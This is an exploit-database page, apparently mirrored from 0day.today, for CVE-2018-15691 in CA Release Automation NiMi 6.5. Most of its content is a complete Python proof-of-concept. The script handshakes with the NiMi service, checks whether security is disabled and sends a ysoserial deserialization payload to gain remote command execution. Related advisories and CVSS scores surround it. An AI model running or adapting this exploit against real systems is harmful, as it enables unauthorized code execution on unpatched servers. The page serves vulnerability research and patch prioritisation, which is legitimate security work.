Lucene search
+L

CA Release Automation NiMi 6.5 - Remote Command Execution Exploit

🗓️ 18 Sep 2018 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 100 Views

CA Release Automation NiMi 6.5 - Remote Command Execution Exploit on 10.0.0.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
CA Release Automation Code Execution
14 Sep 201800:00
–bdu_fstec
cve
CVE
CVE-2018-15691
30 Aug 201814:00
–cve
cvelist
Cvelist
CVE-2018-15691
30 Aug 201814:00
–cvelist
exploitdb
Exploit DB
CA Release Automation NiMi 6.5 - Remote Command Execution
17 Sep 201800:00
–exploitdb
exploitpack
exploitpack
CA Release Automation NiMi 6.5 - Remote Command Execution
17 Sep 201800:00
–exploitpack
nvd
NVD
CVE-2018-15691
30 Aug 201814:29
–nvd
osv_cve
osv_cve
CVE-2018-15691
30 Aug 201814:29
–osv_cve
packetstorm
Packet Storm
CA Release Automation NiMi 6.5 Remote Command Execution
19 Sep 201800:00
–packetstorm
prion
Prion
Deserialization of untrusted data
30 Aug 201814:29
–prion
ptsecurity
Positive Technologies
PT-2018-1533
29 Aug 201800:00
–ptsecurity
Rows per page
# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.
 
#!/usr/bin/python
 
import socket
import sys
import struct
 
if len(sys.argv) < 4:
    sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
    exit(1)
  
host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]
 
# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
    print 'Payload must be less than 5730 bytes. Try another one.'
    exit(1)
 
# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))
 
# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message
 
# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
    name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]
 
# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
    print 'Security is enabled. Sorry.'
    exit(1)
 
# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage
 
sock.sendall(payload)
sock.close()

#  0day.today [2021-09-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 27.5
CVSS 39.8
EPSS0.16764
100